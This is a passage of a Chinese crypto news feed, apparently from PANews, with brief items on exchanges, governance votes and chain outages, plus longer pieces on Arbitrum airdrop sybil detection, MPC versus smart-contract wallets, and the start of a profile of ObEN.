公共测试网。其私人测试网已经处理了超过 350,000 笔交易。ConsenSys 尚未确定他们的 zkEVM 何时退出测试网阶段，但 ConsenSys 研发主管兼 ZK 业务集团负责人 Nicolas Liochon表示应该在 2023 年底前完成。此前1月份报道，ConsenSys的zkEVM测试网已向100名选定用户开放私人测试版本。但现在开放给任何人加入。 社区活动： 第三届PANews PARTY AWARD年度评选结果将于3月28日公布 PANews PARTY AWARD 2023将于3月2日至3月23日开启评选投票。经数据初选、公开征集及社区推荐，目前已收到了超过190条报名信息，有行业巨头，也有Web3新星，目前参评申请还在继续。最终评选结果将于3月28日公布。 交易所： Coinbase将从3月29日起暂停Algorand质押奖励 加密交易所Coinbase (COIN)周三告知其客户，从3月29日起，它将不再提供Algorand代币（ALGO）质押奖励。该代币仍可用于交易。Coinbase发言人没有给出终止Algorand奖励的原因，但在一封电子邮件中表示，“截至3月31日的Algorand治理期的所有奖励将在4月初支付”。Coinbase发言人称：“Coinbase与资产发行人合作提供奖励，并不断重新评估我们的产品以确保最佳的客户体验。我们决定此时停止Algorand (ALGO)奖励”。 Coinbase将于3月29日完成对XTZ、ATOM、SOL和ADA的质押服务升级 Coinbase发布关于3月10日XTZ、ATOM、SOL和ADA质押服务计划升级的更新，在3月24日到3月28日之间，客户将看到他们的XTZ、ATOM、SOL和ADA余额转移到“收益余额”，这代表了质押资金。在3月29日升级完成之前，客户将暂时无法取消质押这些资产或质押更多资金。升级完成后，质押和解除质押将恢复。在升级过程中，用户将继续获得奖励，升级期结束后将恢复付款。 项目动态： Solana生态NFT市场Formfunction宣布于3月29日关闭 Solana生态NFT市场Formfunction宣布将于3月29日关闭，用户仍然拥有NFT的完全所有权。Formfunction称：“经过多方讨论和慎重考虑，我们得出的结论是不能继续运行Formfunction。我们将继续维护 Formfunction 直到3月29日。该日期之后，用户将无法再访问我们的网站。” 治理投票： Safe关于“未申领空投重新分配”的提案正在投票，3月29日截止 数字资产管理平台Safe（原Gnosis Safe）治理社区SafeDAO关于未申领SAFE空投重新分配的提案SEP#5将于今日23:01时开放投票，并将于3月29日截止。此前，Safe向用户共计空投占总发行量5%（即5000万枚）SAFE代币，其中17,799,818枚已由用户主动申领。本次投票涉及剩余超3220万枚Safe代币的归属方式。3月15日消息，该提案已通过论坛讨论阶段，将转移到快照投票阶段。 项目动态： Avalanche将于3月30日晚11点激活Fuji测试网Cortina升级 据官方博客，Avalanche宣布将于3月27日在Fuji测试网上发布 Avalanche Cortina升级的预发布代码，Fuji测试网Cortina升级将于北京时间3月30日23:00激活。在Fuji测试网上的Cortina升级成功之前，将公布Avalanche主网激活时间，并发布官方Cortina AvalancheGo版本 (v1.10.0)。 治理投票： ApeCoin发起提案拟推出两款新NFT系列，投票将于3月30日结束 据ApeCoin论坛显示，社区已发起AIP-206提案拟推出两款新NFT系列“Ape Coin Armory Club NFT”和“Ape Coin Pet Club NFT”，该提案显示这两个系列将分别发行2万枚NFT，旨在激励APE持有者并拓展到更广泛的Yuga Labs生态中的元宇宙社区。另据Snapchat数据显示，该提案的投票结束时间为3月30日。 项目动态： 日本金融巨头SBI拟100%股权收购HashHub，股权转让预计3月31日完成 日本金融服务巨头SBI Holdings与HashHub现有股东签订股权转让协议，股权转让完成后，HashHub将成为SBI Holdings的合并子公司。本次股权转让完成（预计3月31日）后，预计SBI Holdings对HashHub的持股比例为100%。据悉，HashHub成立于2018年4月，经营加密资产借贷服务HashHub Lending和加密资产研究报告业务HashHub Research。 去中心化交易所Orca将从3月31日开始阻止美国用户使用其网络界面进行交易 Solana生态去中心化交易所Orca宣布，将从3月31日开始阻止所有美国用户使用其网络界面进行交易。 Orca强调，直接与Orca智能合约交互的美国人不会受到这一变化的影响。报道称，未在美国获得许可的中心化加密货币交易所经常屏蔽美国用户以避免激怒该国监管机构，但大多数去中心化交易所并没有效仿，只有少数例外。 马斯克：推特将于3月31日开源所有用于推荐推文的代码 马斯克推特发文称，推特将于3月31日开源所有用于推荐推文的代码。我们的“算法”过于复杂，内部未完全理解。但一旦发现问题，我们会立刻进行修补。我们正在开发一种简化的方法来提供更有吸引力的推文，但该项工作仍在进行中。这也将是开源的。 Doodles 2可穿戴设备NFT“Genesis Box”将于3月31日开图 NFT项目Doodles宣布Doodles 2可穿戴设备NFT“Genesis Box”将于3月31日开图。Doodles此前表示，所有Genesis Box都将包含稀有物品，可能包含独家物品、Beta通行证等。 政策监管： 俄罗斯央行将于4月1日启动数字卢布真实交易试点项目 俄罗斯央行第一副行长 Olga Skorobogatova 在金融网络安全论坛期间表示，从 2023 年 4 月 1 日起，俄罗斯银行将启动一个由 13 家银行和多家商户参与的数字卢布（CBDC）真实交易试点项目。交易涉及个人转账以及贸易和服务企业的支付，该13 家银行通过了所有测试——包括技术和运营方面的测试。监管机构预计他们将在 4 月 1 日与他们确定的客户一起进入试点项目。 项目动态： Uniswap V3核心代码版权商业保护将于4月1日到期 Uniswap V3在2021年5月5日上线以太坊主网前为其核心代码申请了为期 2 年的版权商业保护，该保护在两年内限制 Uniswap V3 核心代码的不当商业使用，该保护期将于4月1日正式结束。此前Uniswap表示，可以通过协议治理更改其版权保护限制，可以通过治理提前从Business Source License 1.1转为 GPL 许可。 BlockFi：债权人现可提交索赔证明，将于4月1日截止 已申请破产的加密借贷公司BlockFi今日发推文称：“从今天开始，BlockFi客户将通过邮件和/或电子邮件从BlockFi的索赔代理Kroll收到有关索赔流程证明的重要信息。提交索赔证明的截止日期为EST时间2023年3月31日17:00（北京时间4月1日06:00）。”目前债务人已经建立了一个提出索赔的门户网站，债权人可通过该门户网站提交索赔证明，也可通过平邮或快递的形式提交索赔证明，但不接受电子邮件投递。  ( 6 min )
    Avalanche C链目前已恢复出块，停止出块时间约为80分钟
    PANews 3月26日消息，根据浏览器数据显示，Avalanche C链目前已恢复出块，停止出块时间约为80分钟。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.26）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    Arbitrum空投研究：存在四大漏洞，女巫地址获利超21%空投代币
    作者|X-explore 编辑|Colin Wu 本文由 X-explore 和吴说区块链联合发布。 期待已久的 Arbitrum 终于发布了空投消息，随后，他们还公布了检查女巫地址的规则。 根据描述的规则，我们可以推断出项目方： 1. 在检测女巫时排除了跨链桥、中心化交易所和智能合约 2. 对小规模和相同个人地址采取了相对宽容的检测方式 3. 只使用了快照（2023年2月6日）之前的数据进行女巫检测 4. 只使用 Arbitrum 和 Ethereum 的数据进行女巫检测，而忽略了其他 Ethereum L2 的数据，如 Optimism 和 Polygon。 我们发现，上述的女巫检测规则会造成很大的漏洞。在撸空投团体和项目方的多次对抗后，他们经常大规模地使用交易所来存取资金。这将导致他们不被排除在 Aribtrum 的空投之外。 通过我们内部的同人/女巫地址识别模型，我们成功识别了超过 279,328 个同人地址和 148,595 个女巫地址，这些地址收到了空投。 同人地址指的是由同一个实体控制的地址。我们在由所有 624,136 个空投的 EOA 地址组成的子图上运行 Louvain 社区检测算法（顺便说一下，还有 1007 个收到空投的合同地址，我们将在后面披露）。结果显示，共有 279,328 个地址形成了 60,000 多个社区。由于同一社区的个人地址有频繁的资金转移，他们被视为同人地址。他们约占 5.57 亿个 token 或 Arbitrum 空投 token 总量的 47.96%。 下面是同人地址组规模及其对应的地址数的分布。从下图中我们可以看出，在这次 Arbitrum 空投事件中，有大量的小规模同人社区获得了 token 。 以下是同人地址组大小及其相应的可领取 token 的分布情况（单位：token）。 女巫地址 我们进一步检查了这些同人地址，并建立了最严格的筛选标准来识别其中的女巫地址。共有 148,595 个女巫地址收到空投。他们约占 2.53 亿 Arb 或空投 token 总数的 21.8%。女巫地址的构成来自两部分： 1. 有大量同人地址的社区 2. 以太坊上的 X-explore 和多个以太坊 L2（Arbitrum、Optimism 等）识别的高可信度的女巫地址 为了对抗女巫检测，撸空投团体使用跨链桥、中心化交易所和智能合约来防止大量地址之间的直接连接，并使每个地址尽可能独立以逃避女巫检测。在 Arbitrum 的女巫剔除中，项目方还删除了实体地址，如跨链桥、交易所和智能合约。根据我们的分析，一些撸空投团队成功反击了检测规则，大量的地址收到了这次空投。 地址超过 250 个的 CEX 女巫识别的例子。 1. 2022 年 8 月 24 日至 8 月 28 日期间，共有 2997 个收到空投的地址从 Binance 交易所（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，在 0.00114 和 0.00116 ETH 之间（约 2 美元）。这些地址共收到 183 万个空投 token 。 2. 在 2022 年 6 月 3 日和 6 月 4 日之间，共有 1001 个收到空投的地址从 FTX 交易所提取资金（0xa60113f7d43130919802b0863abdcdb956664fd5）。提款金额非常一致，在 0.0022 和 0.0023 ETH之间（约 4 美元）。这些地址共收到 104 万个空投 token 。 3. 2022 年 11 月 27 日至 11 月 30 日期间，共有 645 个收到空投的地址从 Binance（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，为0.05 ETH（约 9 美元）。这些地址共收到 70 万个空投 token 。 4. 在 2022 年 10 月 29 日至 11 月 1 日期间，共有 1035 个收到空投的地址从 Binance（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，为 0.003 ETH（约 5 美元）。这些地址共收到 98 万个空投 token 。 5. 2023 年 2 月 6 日，294 个收到空投的地址从 Binance（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，为0.0008 ETH（约 1.5 美元）。这些地址共收到 29.1 万个空投 token 。 6. 2022 年 12 月 12 日，273 个收到空投的地址从 Binance（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，为0.0095 ETH（约 17 美元）。这些地址共收到 24.2 万个空投 token 。 7. 2022 年 8 月 19 日，261 个收到空投的地址从 FTX 交易所提取了资金（0xa60113f7d43130919802b0863abdcdb956664fd5）。而且提取的资金数额非常一致，为0.003 ETH（约 5 美元）。这些地址共收到 18.9 万个 token 。 我们进一步取出了这些从 FTX 交易所提币的女巫地址。除了资金数量一致外，它们还有非常一致的智能合约调用。 注：图中的节点表示地址，边表示地址之间的交互。 案例2：跨链桥女巫 例子如下： 1. 在 2022 年 11 月 02 日至 11 月 07 日期间，共有 1114 个接收空投的地址通过 HOP 桥（0x33ceb27b39d2bb7d2e61f7564d3df29344020417）跨链到 Arbitrum。存款金额非常一致，这些地址总共收到了 108 万个 token 。 案例3：智能合约女巫 地址 0x922008a118feff7fb017ee67eb3b02371e559999 通过 Disperse 合约将资金存入 1,274 个空投地址。存款金额非常一致，为 0.0005 ETH（约 8 美元）。这些地址共收到 105.9 万个 token。 类似的，通过 Disperse 合约（一个地址将资金存入 50 个不同的空投地址）避免直接连接的女巫地址数量为 9483 个。这些地址总共收到了 1098 万个 token 。 案例4：快照后的女巫资金归集 我们从这种类型的女巫中选择了一个有代表性的例子。示例女巫总共有 198 个地址，并获得了 174,375 个 token。虽然这些地址具有明显的归集行为，但由于收集行为发生在快照之后，因此没有将它们排除在空投地址之外。 案例5：其他链上的女巫（Optimism） 我们已经选择了一个代表这种女巫的例子。示例女巫总共包含 202 个地址，并获得了 204,250 个 token。这些地址在 Arb 上也有非常相似的交易记录，但交易金额和时间略有不同，所以他们没有被识别为女巫。然而，他们在 OP 上也有相同的交易记录。值得一提的是，X-explore不仅可以在 Arbitrum 上识别女巫地址，还支持以太坊、Optimism 等以太坊 L2。 我们可以推断，Arbitrum 制定的规则并没有有效地防止以下四种类型的女巫： ●地址少于 20 个的女巫 ●通过交易所、跨链桥接、智能合约存取款的女巫 ●快照后具有明显的 NFT 或资金归集行为的女巫 ●在其他链上具有明显批处理行为的女巫，如 OP，以太坊 智能合约接收空投： 当我们调查女巫时，我们还发现了一些有趣的例子。此次 ARB 空投的获胜者不仅是 EOA（即普通地址），而且一些合约地址也收到了空投。共有 1007 个合约地址收到空投，收到的 ARB token 总数约为 100 万个。 例子: 0x8c44c0ab9a15bacad7a4b663a89593c406c6b4ea 0x44e4c3668552033419520be229cd9df0c35c4417 0x6e87672e547d40285c8fdce1139de4bc7cbf2127 0x8585a10f59fd4dd6e7d5e19254d5a791dc25f3f4 女巫识别一直是项目方的烫手山芋。项目方一方面需要撸空投大军来支撑项目的热度，另一方面又要承担女巫获利的风险以及女巫套现后市场暴跌的风险。根据 X-explore 的估计，空投中包含约 15 万个女巫地址和至少 4000 个女巫社区，女巫地址的总利润超过 2.53 亿个 token。 此外据 @BitcoinEmber 统计，撸毛大户（工作室）正从有空投资格的大量地址领取并归集 $ARB，0xe1...ab6e 从超 1200 个地址归集了 210 万 $ARB （3.2M）；0x77...195c 从 1375 个地址归集了 119 万 $ARB （1.81M）; 0xbd...9dcb 从 630 个地址归集了 93 万 $ARB （1.41M）。  ( 6 min )
    ApeCoin发起提案拟推出两款新NFT系列，目前反对票占优
    PANews 3月26日消息，据ApeCoin论坛显示，社区已发起AIP-206提案拟推出两款新NFT系列“Ape Coin Armory Club NFT”和“Ape Coin Pet Club NFT”，该提案显示这两个系列将分别发行2万枚NFT，旨在激励APE持有者并拓展到更广泛的Yuga Labs生态中的元宇宙社区。另据Snapchat数据显示，该提案的投票结束时间为3月30日，当前反对票占比达到83.57%，赞成票比例为9.8%，弃权6.63%。  ( 4 min )
    数据：ETH 2.0存款合约总价值超过300亿美元
    PANews 3月26日消息，据Glassnode数据显示，ETH 2.0存款合约总价值超过300亿美元，当前为30,047,228,329美元。  ( 4 min )
    Avalanche C链疑似已停止出块，目前停止25分钟
    PANews 3月26日消息，据Chainbase监测，Avalanche C链已于25分钟前停止出块，最后区块高度为27925928。 此前3月23日消息，Avalanche C链疑似已停止出块一个多小时。  ( 4 min )
    Su Zhu等人创办的加密索赔交易平台OPNX预计将于一个月后上线索赔交易功能
    PANews 3月26日消息，三箭资本创始人Su Zhu等人创办的加密索赔交易平台Open Exchange（OPNX）的索赔交易功能预计一个月后上线。Open Exchange首席执行官Leslie Lamb表示，当索赔交易功能端推出时，将要求用户支付前期费用并经过多步流程才能看到资金， Leslie Lamb未透露费用结构。 此前消息，三箭资本创始人推出的债权交易市场OPNX已注册超3600人。  ( 4 min )
    Ava Labs创始人：从现在起三到五年内，大量Layer1区块链将被淘汰
    PANews 3月26日消息，据TechCrunch报道，Ava Labs创始人兼首席执行官Emin Gün Sirer在接受采访时表示，加密生态系统中涌现出许多Layer1区块链，但从现在起三到五年内，大量的Layer1区块链将被淘汰。我认为我们已经有太多的Layer1，但多以抄袭为主。此外，Gün Sirer指出，Layer1必须是去中心化的、安全的和快速的。  ( 4 min )
    Base生态基金公布四大支持方向，包括DeFi和链上声誉平台等
    PANews 3月26日消息，Coinbase的Layer2网络Base公布其生态基金支持的四大方向，分别为：可跟踪通货膨胀率的稳定币；链上声誉平台；链上限价订单簿（LOB）交易平台；更安全的DeFi，包括可以防止智能合约代码漏洞或协议逻辑错误的工具，以及链上保险和保险协议等。  ( 4 min )
    Do Kwon将对法院延长拘留时间的决定提出上诉
    PANews 3月26日消息，据Cointelegraph报道，Terraform Labs联合创始人Do Kwon因试图使用伪造文件在黑山被捕后，将对法院的拘留时间延长最多30天的决定提出上诉。据悉，虽然黑山当局通常会规定最长72小时的拘留，但法院认为，Do Kwon是身份不明的外国人，在检察官强调越狱的可能性很大后，Do Kwon的30天延长期获得批准。  ( 4 min )
    Coinbase开始向美国大选中支持加密货币的候选人捐款
    PANews 3月26日消息，据Watcher.guru报道，Coinbase首席执行官Brian Armstrong表示，Coinbase打算在美国大选中开始向支持加密货币的候选人捐款。 Armstrong敦促用户选出支持加密货币的候选人。此外还指出，Coinbase将努力组织加密货币用户，以支持可能对整个行业产生积极影响的候选人。据悉，该声明是在公司收到SEC的韦尔斯通知后的第二天发布的。  ( 4 min )
    Web3钱包的下一站：为什么看好无助记词钱包赛道？
    作者：Zoe Zhou 根据 statista.com 数据显示，截至 2022 年 11 月，数字钱包用户数已达 8500 万（YOY~6.3%）。数字钱包作为 Web3.0 的入口，已处于熊市建设期间的热点风口。它的用户体验和安全性直接影响加密货币及其应用在何时被大规模采用。 “拥有数字资产的前提是完全真实地掌握自己的私钥。” 自托管数字钱包虽然安全，但助记词和私钥比传统的 Web2.0 入口——“用户名-密码” 要复杂得多。根据 Chainalysis 在 2021 年的一份报告，大约有 20% 的比特币丢失是因为其所有者不记得私钥。FTX 倒闭等无数次黑客攻击和安全事件不断引起业界的关注。 在以太坊上，有两种基本的账户类型： EOA 账户（Externally Owned Account）：一个 EOA 的每个唯一私钥应该通过 12 个唯一的助记词推导出来。目前主流的 dApp 钱包大多为 EOA 钱包，如 Metamask、Phantom（Solana）、BSC Wallet（BSC）、Keplr（Cosmos）等，这类钱包不可编程。 合约账户（Contract Account，通过 EOA 账户部署在链上的智能合约）：是一段通过 EOA 账户部署在链上的可编程 EVM 代码，只能被 EOA 账户调用。 总之，每个账户都由唯一的私钥确定，但机制存在缺陷，即私钥的遗忘、丢失和泄露会造成不可逆的数字资产损失。 目前主流的两种解决方案取得了重大进展，即无助记词的加密钱包：智能合约钱包（包括多重签名钱包）和多方计算（MPC）钱包。 智能合约钱包是使用特定的 EOA 账户管理链上资产的智能合约，可以支持进一步的编程。例如，多重签名钱包是一种智能合约钱包，需要 M-of-N 密钥的签名才能批准交易。这种方法可以增强钱包的安全性，因为它要求多个密钥控制资产，而不是只有一个私钥。 近期，由于 EIP-4337 提案取得重大进展，以太坊中不需要共识层协议更改的账户抽象、智能合约钱包再次成为热门话题。账户抽象所做的是解耦签名者和账户之间的关系，结合 CA 的可编程性和 EOA 主动发起交易的能力。因此，用户可以自定义内部逻辑，而无需从共识层或底层进行改进。 在过去，由于技术限制和共识协议层的复杂性，很多关于账户抽象的提案都被搁置了。然而，随着以太坊的发展和技术进步，账户抽象已经成为可能，这将为智能合约钱包等新型钱包带来更多的发展空间。 EIP-4337 的主要目标是将签名验证、gas 支付和重放保护等关键功能从以太坊的核心协议中分离出来，放到智能合约中执行。这样，具有任意验证逻辑的智能合约钱包可以作为主账户，而不需要进行任何共识层协议的修改。验证器、MEV 搜索器或应用程序本身可以从 UserOperations 池中获取交易，并将其转发到区块链以支付费用。这个提案的主要优势是减少了以太坊核心协议的复杂性，同时提高了灵活性和可扩展性。 EIP-4337 还存在一些兼容性和验证过程方面的问题，因此需要时间来完善。另外，引入新的合约机制和功能模块可能会带来新的合约风险和增加 gas 费用等问题。因此，对于账户抽象钱包的应用开发，观望阶段是必要的。不过，随着时间的推移和技术的不断进步，这种钱包形式有望在未来得到广泛应用和推广。 论文《Two-Party ECDSA from Hash Proof Systems and Efficient Instantiations 》将 MPC（多方计算）技术的应用引入了公众关注。通俗地说，MPC 协议旨在确保的最基本属性是： MPC 钱包使用阈值签名方案 (TSS) 来创建一个私钥的份额。它们旨在通过要求多方共同创建私钥片段然后验证交易来提高安全性。最重要的是，在账户创建、使用、保存、备份和恢复过程中，私钥不会出现在任何过程。 04MPC 钱包会是更好的解决方案吗? 在这里，我们将关注以下属性来评估 WEB3.0 钱包： 安全性： 智能钱包使用单个私钥来控制和访问资金。由于智能合约可以定制，因此存在合约漏洞和兼容性等风险。即使在多重签名钱包等多个设备上分散存储也不能保证完全安全。有经验的黑客可以追踪和重建密钥，从而在破坏一台服务器后在网络中横向移动并破坏其他服务器或设备。 MPC 钱包将私钥分成几部分，并分发给多个参与方，使攻击者更难窃取私钥。在某些特定的跨链场景中，如果不需要多链交易和与 dApp 的高频交互，MPC 钱包会更加安全。然而，他们无法避免链下治理，例如签署授权政策和批准法定人数等。不能说两者中哪一个具有绝对的安全性。我们更愿意专注于提高用户体验。 易用性： 是否像 Web2.0 支付产品一样流畅无缝体验。 两款钱包都没有助记词，比传统钱包解决方案更人性化，例如 MetaMask（基于浏览器）。 功能性： 是否满足 Web3 用户的实际需求，如 DeFi 或 NFT 日常交易、投资、数字身份、web3 社交等。 与功能有限的传统 EOA 钱包相比，智能钱包具有多重签名交易、每日转账限额、紧急账户冻结和更安全的账户恢复等高级功能。 某些组织，如交易所、托管人和其他大型数字资产企业可能更喜欢 MPC 钱包，因为这种技术可以防止对任何拥有单一资产密钥的员工产生信任。Lit Protocol 等一些方案可以通过 HTTP 请求与链下数据交互，这可能使 MPC 对 Web 资产有用。 可扩展性： 在生态系统中构建新功能和集成是否更容易。 智能钱包本质上是智能合约，它使开发人员的生态系统能够默认扩展钱包功能，任何人都可以审核实现和功能扩展。 MPC 协议没有标准化，现有生态系统主要由定制化的 MPC 钱包产品组成。 成本： 由于需要验证多个签名，来自多重签名智能钱包的单次操作通常比现在的 MPC 更昂贵，尽管从长远来看，交易批处理可以帮助节省成本。 MPC 钱包可能具有较低的交易和恢复成本。 MPC 钱包在区块链上表示为一个地址，不收取额外的汽油费，这对于每天进行数百笔交易的 B2C 用户来说可能很重要。 透明度： 智能钱包具有更透明和可审计的代码库。由于密钥生成和签名是在链下生成的，而且许多 MPC 协议不是开源的，因此生态系统没有简单的方法来独立审计和集成它们以在出现问题时进行分析。 MPC 钱包阻碍了透明度，需要更严格的操作审计。 MPC 钱包作为一种链下钱包解决方案，既可以控制基于外部账户的普通钱包，也可以控制智能钱包。不涉及以太坊共识层或合约层的变化。对用户来说成本更低，短期内更可行。但链下多方问责制无法回避，钱包产品无论是安全性还是用户体验方面的竞争力提升都不明显。 智能钱包是一个有很多创新机会的产品，可以带来更多新的应用和用例。但是，账户抽象是一个大工程，需要其他智能合约、开发者、以太坊架构师配合升级。值得注意的是， L2s 大大加快了采用速度，降低了成本，提高了可扩展性，例如 Starkware 已经将所有 Starknet 账户原生智能钱包， zkSync 2.0 也将与 AA 一起推出。 综上所述，我们认为两者并不矛盾，两者的取舍还要看具体的需求。 MPC 在密钥生成和管理层面提供安全性，而智能合约为生态系统发展带来可扩展性和更多应用。他们本质上不在同一个维度来解决私钥的管理问题。我们期待看到更多应用这两种技术的创新产品。例如，MPC 协议可能可以与多重签名钱包结合使用。 正是因为钱包开发者可以基于智能合约不断更新新功能的优势，以及对于程序化支付和游戏高频交易等应用场景的需求，使得越来越多的开发者和团队投身于智能钱包的开发和创新。我们对钱包抽象账户的新叙述持积极态度。如 Visa 发表的文章《 Auto Payments for Self-Custodial Wallets 》，探讨了使用账户抽象钱包 Argent 在 StarNet 网络上实现自动支付。程序化支付允许用户使用自托管钱包自动支付而无需签署每笔交易。此外，目前市场上已经涌现出多个智能钱包产品，如 Argent、MetaMask、Gnosis Safe、Rainbow 等，它们在用户体验、安全性、功能等方面都有不同程度的突破和创新。同时，也有一些钱包团队在开发针对特定场景的定制化钱包，如在 NFT 领域应用广泛的 MetaHero 钱包。 需要注意的是，智能钱包的开发不仅仅是技术上的挑战，还需要充分考虑用户需求和体验。在用户隐私保护和授权管理方面，智能钱包需要具备更高的安全性和便捷性。在此基础上，智能钱包的功能和设计也需要更贴近用户需求，提供更加个性化和细分化的服务。此外，智能钱包还需要与其他应用和生态系统进行深度集成，提供更加完整和一体化的服务。 总之，MPC 钱包和智能钱包各自有其优势和劣势，在不同场景和需求下选择合适的钱包方案是关键。对于个人用户而言，智能钱包可能更适合用于日常交易和管理数字资产，因为它们具有更广泛的应用和更好的用户体验。对于机构或企业用户，MPC 钱包可能更适合，因为它们更安全、更容易实现多方问责制，并且具有更低的成本和更好的可扩展性。此外，随着技术的发展，我们还可能看到更多融合智能合约和 MPC 技术的钱包产品，以提供更全面的解决方案。 总结 “技术只是功能实现的充分条件，而功能将导致市场格局的必然变化。” 谈 MPC 协议、账户抽象等技术并不难，但从技术机制到市场还有一系列的产品迭代。除了大家关心的安全问题，用户体验的提升也是我们评价钱包产品的一个非常重要的维度。毕竟，作为进入 Web3.0 的工具，钱包产品不应该只服务于现在的用户（已经习惯了私钥和助记词），主要目的应该是 “打破生态”，提供更流畅的体验用户体验，让更多的 Web2.0 人使用。 目前，EIP-4337 是最可行的账户抽象方案。已经有很多智能钱包项目在探索这条道路。我们建议可以多关注账户抽象和智能钱包项目的建设，尤其是 Layer 2 方向。 我们认为 MPC 协议是一种更加安全可靠的技术，但是如何在实际的 MPC 钱包场景中更好的实现是关键。我们可能需要更多耐心，才能看到针对个人和机构的更多样化、更有针对性的解决方案。  ( 5 min )
    人民数据·人民链Baas服务平台上线
    PANews 3月26日消息，据人民网报道，3月24日下午，由人民数据研发的人民链Baas服务平台（2.0版本）上线仪式在人民日报社新媒体大厦正式举行。该平台完全由人民数据管理（北京）有限公司自主研发，是一款国密自主可控的一站式、可视化、高安全的综合区块链管理平台，其目标是服务社会治理、提高数据安全，充分发挥数据要素、产品研发的优势，帮助客户挖掘区块链在赋能数字化转型方面的潜力，解决行业场景痛点与需求，拥有数字存证、知识产权保护、数字产品、数字确权等众多应用场景。  ( 4 min )
    消息人士：美司法部正审查瑞信、瑞银等银行是否违反针对俄罗斯的制裁法规
    PANews 3月26日消息，据Bitcoin.com报道，消息人士表示，瑞信和瑞银正受到美国司法部的审查。据悉，美国司法部一直在试图确定，为这些银行工作的金融专业人士是否为受制裁的俄罗斯高净值人士提供了支持，以规避西方政府实施的限制。两名消息人士称，美国当局已向上述两家瑞士银行和一些美国主要银行的员工发出了多份传票。他们想查明过去几年里，与此类客户合作的银行家和顾问的身份，以及是否违反了法律。 此前消息，瑞银以33亿美元收购瑞信，瑞士央行将提供1000亿瑞士法郎的流动性援助。  ( 4 min )
    数据：孙宇晨钱包地址收到5250枚ARB空投并转至Huobi
    PANews 3月26日消息，据Lookonchain数据监测，孙宇晨钱包地址收到了5250枚ARB空投（价值约6981美元），并转移到Huobi。  ( 4 min )
    数据：HODLed或丢失的BTC数量达5年来最高点
    PANews 3月26日消息，据Glassnode数据显示，一直持有（HODLed）或丢失的BTC数量约达767万枚，为5年来最高点。  ( 4 min )
    日本将在七国集团峰会上讨论加密货币监管问题
    PANews 3月26日消息，据新浪财经报道，日本计划与七国集团（G7）国家就监管加密货币的问题进行协调，并将其作为5月广岛峰会期间的一个讨论话题。旨在制定一项法律，保护用户免受加密货币交易所倒闭等市场混乱造成的任何经济损失。  ( 4 min )
    桥水达利欧：世界正处于“危险的边缘”，或面临三个“地震式”剧变
    PANews 3月26日消息，据新浪财经报道，美国桥水投资公司创始人瑞·达利欧表示，世界正处于“危险的边缘”，可能会面临三个“地震式”的剧变。一是巨额债务的货币化，即各国央行通过印钞，发行货币来购买这些债务；二是财富和价值观的鸿沟引发的巨大内部冲突；三是国际大国的冲突。达利欧认为，现在这三种因素都在以1930年-1945年以来最大的程度出现。  ( 4 min )
    数据：zkSync Era∎单一地址数超6.4万，1.2万枚ETH跨链进入zkSync Era∎
    PANews 3月26日消息，据Dune Analytics最新数据显示，zkSync Era∎单一地址数已达64410个，已有12228枚ETH跨链进入zkSync Era∎网络。 此前消息，zkSync Era∎主网正式上线，将向所有开发者开放。  ( 4 min )
    区块链项目归零，AIGC Chain能否助力“大割”翻身变大哥？
    作者：longcrypto 当下最火的科技创业赛道是什么？AIGC 和 Web3。 2017 年最火的赛道是什么？区块链、人工智能和 VR。 如果你是一名“合格”的“风口型”创业者，那么这两波创业热潮应该都不会错过。 Adam Zheng（郑毅）就是这样一位走在时代前沿的“弄潮儿”。 2014 年 3 月，Facebook（后更名为 Meta）以 20 亿美元收购 VR 领头羊公司 Oculus，随后在全球掀起 VR 创投热潮。 这一年 2 月，oben 在美国加州帕萨迪纳成立。ObEN 公司的 CEO 是 Nikhil Jain，COO 是郑毅。 公开信息显示，Nikhil Jain 在 ObEN 之前，他曾创立两家初创公司：清洁技术 B2 B 平台 On Green，以及开源软件开发公司 Up and Running Software。Nikhil 拥有南加州大学的 MBA 学位，以及印度 Pondicherry University 的电气工程学士学位。 郑毅在 ObEN 之前，联合创立了曾经中国最大的婚恋平台百合网。其后担任美国光速创投投资合伙人、同方投资有限公司投资总监、美国 TPG - 新桥资本的投资经理。投资过的项目包括百视通、星空传媒/灿星制作、新丝路模特机构等。郑毅大学就读于清华大学环境工程系，并获得环境工程硕士学位。之后，在美国拿到了加州大学戴维斯分校的交通与环境工程博士学位、以及加州大学伯克利分校的金融工程硕士学位。 第一排左三 Nikhil Jain，左四 Adam Zheng 成立后的两年间，这家打造 VR 虚拟形象的科技初创公司在国内并没有受到太多关注。 2016 年 11 月，科技媒体 36 氪报道了 Oben 宣布获得了一笔 770 万美元的 A 轮融资，领投方是中国盾安集团旗下投资分部 CrestValue Capital，参投方包括知名风投 Cybernaut Investment 旗下美国投资基金 Cybernaut Westlake Partners 和深圳清华力合创业投资有限公司。此外，参与本轮投资的还包括视频制作服务平台 Machinima 公司创始人 Allen DeBevoise 旗下的风投基金 Third Wave Digital、SM 娱乐集团子公司 Dream Maker Entertainment、天津滨海卡梅隆文化科技有限公司首席执行官 Gordon Cheng、以及美国科技创业孵化器 Idealab。 自此，Oben 在国内的曝光量持续提升，青亭网、钛媒体、智东西等科技媒体紧随报道。 2017 年 3 月，Oben 成为软银在美国投资的第一个 AI 项目。 2017 年 7 月，Oben 获得 500 万美元战略投资，由腾讯领投，CMC 董事长黎瑞刚及峰尚资本跟投。 2018 年 1 月，Oben 宣布完成来自 K11 的 1000 万美元 B 轮可转债融资。 ObEN 的投资机构 作为横跨 VR 和人工智能创业赛道的资本宠儿，按照正常的逻辑，创业公司接下来的路线基本上市“烧钱 - 抢占市场份额 - 做大估值 - 吸引下一轮投资者”，最后完成 IPO。 然而 Oben 想走捷径——ICO。 2017 年的区块链是疯狂的，包装后的项目方凭借一份白皮书就能轻松募资数亿美元，这是传统 VC 不能给到的。其中李笑来觉得白皮书没人看，用一个没有白皮书的项目在 5 天内众筹了 1.85 亿美元。 2017 年 10 月，ProjectPAI 白皮书发布。 从时间上看，ObEN 